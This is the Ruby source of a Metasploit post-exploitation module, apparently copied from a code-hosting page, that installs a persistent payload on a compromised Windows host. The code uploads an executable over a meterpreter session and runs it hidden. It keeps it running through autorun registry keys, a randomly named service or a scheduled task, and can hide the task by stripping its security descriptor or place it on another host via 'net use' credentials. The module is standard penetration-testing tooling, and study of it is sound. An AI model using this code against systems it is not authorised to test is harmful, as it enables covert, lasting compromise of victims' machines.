355 lines
14 KiB
Ruby
355 lines
14 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Post
|
|
include Msf::Post::Common
|
|
include Msf::Post::File
|
|
include Msf::Post::Windows::Priv
|
|
include Msf::Post::Windows::Registry
|
|
include Msf::Post::Windows::Services
|
|
include Msf::Post::Windows::TaskScheduler
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Windows Manage Persistent EXE Payload Installer',
|
|
'Description' => %q{
|
|
This Module will upload an executable to a remote host and make it Persistent.
|
|
It can be installed as USER, SYSTEM, or SERVICE. USER will start on user login,
|
|
SYSTEM will start on system boot but requires privs. SERVICE will create a new service
|
|
which will start the payload. Again requires privs.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [ 'Merlyn drforbin Cousins <drforbin6[at]gmail.com>' ],
|
|
'Version' => '$Revision:1$',
|
|
'Platform' => [ 'windows' ],
|
|
'SessionTypes' => [ 'meterpreter'],
|
|
'Compat' => {
|
|
'Meterpreter' => {
|
|
'Commands' => %w[
|
|
core_channel_eof
|
|
core_channel_open
|
|
core_channel_read
|
|
core_channel_write
|
|
stdapi_sys_config_getenv
|
|
stdapi_sys_config_sysinfo
|
|
stdapi_sys_process_execute
|
|
]
|
|
}
|
|
},
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptEnum.new('STARTUP', [true, 'Startup type for the persistent payload.', 'USER', ['USER', 'SYSTEM', 'SERVICE', 'TASK']]),
|
|
OptPath.new('REXEPATH', [true, 'The remote executable to upload and execute.']),
|
|
OptString.new('REXENAME', [true, 'The name to call exe on remote system', 'default.exe']),
|
|
OptBool.new('RUN_NOW', [false, 'Run the installed payload immediately.', true]),
|
|
], self.class
|
|
)
|
|
|
|
register_advanced_options(
|
|
[
|
|
OptString.new('LocalExePath', [false, 'The local exe path to run. Use temp directory as default. ']),
|
|
OptString.new('RemoteExePath', [
|
|
false,
|
|
'The remote path to move the payload to. Only valid when the STARTUP option is set '\
|
|
'to TASK and the `ScheduleRemoteSystem` option is set. Use the same path than LocalExePath '\
|
|
'if not set.'
|
|
], conditions: ['STARTUP', '==', 'TASK']),
|
|
OptString.new('StartupName', [false, 'The name of service, registry or scheduled task. Random string as default.' ]),
|
|
OptString.new('ServiceDescription', [false, 'The description of service. Random string as default.' ])
|
|
]
|
|
)
|
|
end
|
|
|
|
# Run Method for when run command is issued
|
|
#-------------------------------------------------------------------------------
|
|
def run
|
|
print_status("Running module against #{sysinfo['Computer']}")
|
|
|
|
# Set vars
|
|
rexe = datastore['REXEPATH']
|
|
rexename = datastore['REXENAME']
|
|
host, _port = session.tunnel_peer.split(':')
|
|
@clean_up_rc = ''
|
|
|
|
raw = create_payload_from_file rexe
|
|
|
|
# Write script to %TEMP% on target
|
|
script_on_target = write_exe_to_target(raw, rexename)
|
|
|
|
# Initial execution of script
|
|
target_exec(script_on_target) if datastore['RUN_NOW']
|
|
|
|
case datastore['STARTUP'].upcase
|
|
when 'USER'
|
|
write_to_reg('HKCU', script_on_target)
|
|
when 'SYSTEM'
|
|
write_to_reg('HKLM', script_on_target)
|
|
when 'SERVICE'
|
|
install_as_service(script_on_target)
|
|
when 'TASK'
|
|
create_scheduler_task(script_on_target)
|
|
end
|
|
|
|
clean_rc = log_file
|
|
file_local_write(clean_rc, @clean_up_rc)
|
|
print_status("Cleanup Meterpreter RC File: #{clean_rc}")
|
|
|
|
report_note(host: host,
|
|
type: 'host.persistance.cleanup',
|
|
data: {
|
|
local_id: session.sid,
|
|
stype: session.type,
|
|
desc: session.info,
|
|
platform: session.platform,
|
|
via_payload: session.via_payload,
|
|
via_exploit: session.via_exploit,
|
|
created_at: Time.now.utc,
|
|
commands: @clean_up_rc
|
|
})
|
|
end
|
|
|
|
# Function for creating log folder and returning log path
|
|
#-------------------------------------------------------------------------------
|
|
def log_file(log_path = nil)
|
|
# Get hostname
|
|
if datastore['STARTUP'] == 'TASK' && @cleanup_host
|
|
# Use the remote hostname when remote task creation is selected
|
|
# Cleanup will have to be performed on this remote host
|
|
host = @cleanup_host
|
|
else
|
|
host = session.sys.config.sysinfo['Computer']
|
|
end
|
|
|
|
# Create Filename info to be appended to downloaded files
|
|
filenameinfo = '_' + ::Time.now.strftime('%Y%m%d.%M%S')
|
|
|
|
# Create a directory for the logs
|
|
logs = if log_path
|
|
::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo))
|
|
else
|
|
::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo))
|
|
end
|
|
|
|
# Create the log directory
|
|
::FileUtils.mkdir_p(logs)
|
|
|
|
# logfile name
|
|
logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + '.rc'
|
|
logfile
|
|
end
|
|
|
|
# Function to execute script on target and return the PID of the process
|
|
#-------------------------------------------------------------------------------
|
|
def target_exec(script_on_target)
|
|
print_status("Executing script #{script_on_target}")
|
|
proc = session.sys.process.execute(script_on_target, nil, 'Hidden' => true)
|
|
print_good("Agent executed with PID #{proc.pid}")
|
|
@clean_up_rc << "kill #{proc.pid}\n"
|
|
proc.pid
|
|
end
|
|
|
|
# Function to install payload in to the registry HKLM or HKCU
|
|
#-------------------------------------------------------------------------------
|
|
def write_to_reg(key, script_on_target)
|
|
nam = datastore['StartupName'] || Rex::Text.rand_text_alpha(rand(8..15))
|
|
print_status("Installing into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")
|
|
if key
|
|
registry_setvaldata("#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", nam, script_on_target, 'REG_SZ')
|
|
print_good("Installed into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")
|
|
@clean_up_rc << "reg deleteval -k '#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -v '#{nam}'\n"
|
|
else
|
|
print_error('Error: failed to open the registry key for writing')
|
|
end
|
|
end
|
|
|
|
# Function to install payload as a service
|
|
#-------------------------------------------------------------------------------
|
|
def install_as_service(script_on_target)
|
|
if is_system? || is_admin?
|
|
print_status('Installing as service..')
|
|
nam = datastore['StartupName'] || Rex::Text.rand_text_alpha(rand(8..15))
|
|
description = datastore['ServiceDescription'] || Rex::Text.rand_text_alpha(8)
|
|
print_status("Creating service #{nam}")
|
|
|
|
key = service_create(nam, path: "cmd /c \"#{script_on_target}\"", display: description)
|
|
|
|
# check if service had been created
|
|
if key != 0
|
|
print_error("Service #{nam} creating failed.")
|
|
return
|
|
end
|
|
|
|
# if service is stopped, then start it.
|
|
service_start(nam) if datastore['RUN_NOW'] && service_status(nam)[:state] == 1
|
|
|
|
@clean_up_rc << "execute -H -f sc -a \"delete #{nam}\"\n"
|
|
else
|
|
print_error('Insufficient privileges to create service')
|
|
end
|
|
end
|
|
|
|
# Function for writing executable to target host
|
|
#-------------------------------------------------------------------------------
|
|
def write_exe_to_target(rexe, rexename)
|
|
# check if we have write permission
|
|
# I made it by myself because the function filestat.writable? was not implemented yet.
|
|
if !datastore['LocalExePath'].nil?
|
|
|
|
begin
|
|
temprexe = datastore['LocalExePath'] + '\\' + rexename
|
|
write_file_to_target(temprexe, rexe)
|
|
rescue Rex::Post::Meterpreter::RequestError
|
|
print_warning("Insufficient privileges to write in #{datastore['LocalExePath']}, writing to %TEMP%")
|
|
temprexe = session.sys.config.getenv('TEMP') + '\\' + rexename
|
|
write_file_to_target(temprexe, rexe)
|
|
end
|
|
|
|
# Write to %temp% directory if not set LocalExePath
|
|
else
|
|
temprexe = session.sys.config.getenv('TEMP') + '\\' + rexename
|
|
write_file_to_target(temprexe, rexe)
|
|
end
|
|
|
|
print_good("Persistent Script written to #{temprexe}")
|
|
@clean_up_rc << "rm #{temprexe.gsub('\\', '\\\\\\\\')}\n"
|
|
temprexe
|
|
end
|
|
|
|
def write_file_to_target(temprexe, rexe)
|
|
fd = session.fs.file.new(temprexe, 'wb')
|
|
fd.write(rexe)
|
|
fd.close
|
|
end
|
|
|
|
# Function to create executable from a file
|
|
#-------------------------------------------------------------------------------
|
|
def create_payload_from_file(exec)
|
|
print_status("Reading Payload from file #{exec}")
|
|
File.binread(exec)
|
|
end
|
|
|
|
def move_to_remote(remote_host, script_on_target, remote_path)
|
|
print_status("Moving payload file to the remote host (#{remote_host})")
|
|
|
|
# Translate local path to remote path. Basically, change any "<drive letter>:" to "<drive letter>$"
|
|
remote_path = remote_path.split('\\').delete_if(&:empty?)
|
|
remote_exe = remote_path.pop
|
|
remote_path[0].sub!(/^(?<drive>[A-Z]):/i, '\k<drive>$') unless remote_path.empty?
|
|
remote_path.prepend(remote_host)
|
|
remote_path = "\\\\#{remote_path.join('\\')}"
|
|
cmd = "net use #{remote_path}"
|
|
if datastore['ScheduleUsername'].present?
|
|
cmd << " /user:#{datastore['ScheduleUsername']}"
|
|
cmd << " #{datastore['SchedulePassword']}" if datastore['SchedulePassword'].present?
|
|
end
|
|
|
|
vprint_status("Executing command: #{cmd}")
|
|
result = cmd_exec_with_result(cmd)
|
|
unless result[1]
|
|
print_error(
|
|
'Unable to connect to the remote host. Check credentials, `RemoteExePath`, '\
|
|
"`LocalExePath` and SMB version compatibility on both hosts. Error: #{result[0]}"
|
|
)
|
|
return false
|
|
end
|
|
|
|
# #move_file helper does not work when the target is a remote host and the session run as SYSTEM. It works with #cmd_exec.
|
|
result = cmd_exec_with_result("move /y \"#{script_on_target}\" \"#{remote_path}\\#{remote_exe}\"")
|
|
if result[1]
|
|
print_good("Moved #{script_on_target} to #{remote_path}\\#{remote_exe}")
|
|
else
|
|
print_error("Unable to move the file to the remote host. Error: #{result[0]}")
|
|
end
|
|
|
|
result = cmd_exec_with_result("net use #{remote_path} /delete")
|
|
unless result[1]
|
|
print_warning("Unable to close the network connection with the remote host. This will have to be done manually. Error: #{result[0]}")
|
|
end
|
|
|
|
return !!result
|
|
end
|
|
|
|
TaskSch = Msf::Post::Windows::TaskScheduler
|
|
|
|
def create_scheduler_task(script_on_target)
|
|
unless is_system? || is_admin?
|
|
print_error('Insufficient privileges to create a scheduler task')
|
|
return
|
|
end
|
|
|
|
remote_host = datastore['ScheduleRemoteSystem']
|
|
print_status("Creating a #{datastore['ScheduleType']} scheduler task#{" on #{remote_host}" if remote_host.present?}")
|
|
|
|
if remote_host.present?
|
|
remote_path = script_on_target
|
|
if datastore['RemoteExePath'].present?
|
|
remote_path = datastore['RemoteExePath'].split('\\').delete_if(&:empty?).join('\\')
|
|
remote_path = "#{remote_path}\\#{datastore['REXENAME']}"
|
|
end
|
|
return false unless move_to_remote(remote_host, script_on_target, remote_path)
|
|
|
|
@cleanup_host = remote_host
|
|
@clean_up_rc = "rm #{remote_path.gsub('\\', '\\\\\\\\')}\n"
|
|
end
|
|
|
|
task_name = datastore['StartupName'].present? ? datastore['StartupName'] : Rex::Text.rand_text_alpha(rand(8..15))
|
|
|
|
print_status("Task name: '#{task_name}'")
|
|
if datastore['ScheduleObfuscationTechnique'] == 'SECURITY_DESC'
|
|
print_status('Also, removing the Security Descriptor registry key value to hide the task')
|
|
end
|
|
if datastore['ScheduleRemoteSystem'].present?
|
|
if Rex::Socket.dotted_ip?(datastore['ScheduleRemoteSystem'])
|
|
print_warning(
|
|
"The task will be created on the remote host #{datastore['ScheduleRemoteSystem']} and since "\
|
|
'the FQDN is not used, it usually takes some time (> 1 min) due to some DNS resolution'\
|
|
' happening in the background'
|
|
)
|
|
if datastore['ScheduleObfuscationTechnique'] != 'SECURITY_DESC'
|
|
print_warning(
|
|
'Also, since the \'ScheduleObfuscationTechnique\' option is set to '\
|
|
'SECURITY_DESC, it will take much more time to be executed on the '\
|
|
'remote host for the same reasons (> 3 min). Don\'t Ctrl-C, even if '\
|
|
'a session pops up, be patient or use a FQDN in `ScheduleRemoteSystem` option.'
|
|
)
|
|
end
|
|
end
|
|
@clean_up_rc = "# The 'rm' command won t probably succeed while you're interacting with the session\n"\
|
|
"# You should migrate to another process to be able to remove the payload file\n"\
|
|
"#{@clean_up_rc}"
|
|
end
|
|
|
|
begin
|
|
task_create(task_name, remote_host.blank? ? script_on_target : remote_path)
|
|
rescue TaskSchedulerObfuscationError => e
|
|
print_warning(e.message)
|
|
print_good('Task created without obfuscation')
|
|
rescue TaskSchedulerError => e
|
|
print_error("Task creation error: #{e}")
|
|
return
|
|
else
|
|
print_good('Task created')
|
|
if datastore['ScheduleObfuscationTechnique'] == 'SECURITY_DESC'
|
|
@clean_up_rc << "reg setval -k '#{TaskSch::TASK_REG_KEY.gsub('\\') { '\\\\' }}\\\\#{task_name}' "\
|
|
"-v '#{TaskSch::TASK_SD_REG_VALUE}' "\
|
|
"-d '#{TaskSch::DEFAULT_SD}' "\
|
|
"-t 'REG_BINARY'#{" -w '64'" unless @old_os}\n"
|
|
end
|
|
end
|
|
|
|
@clean_up_rc << "execute -H -f schtasks -a \"/delete /tn #{task_name} /f\"\n"
|
|
end
|
|
end
|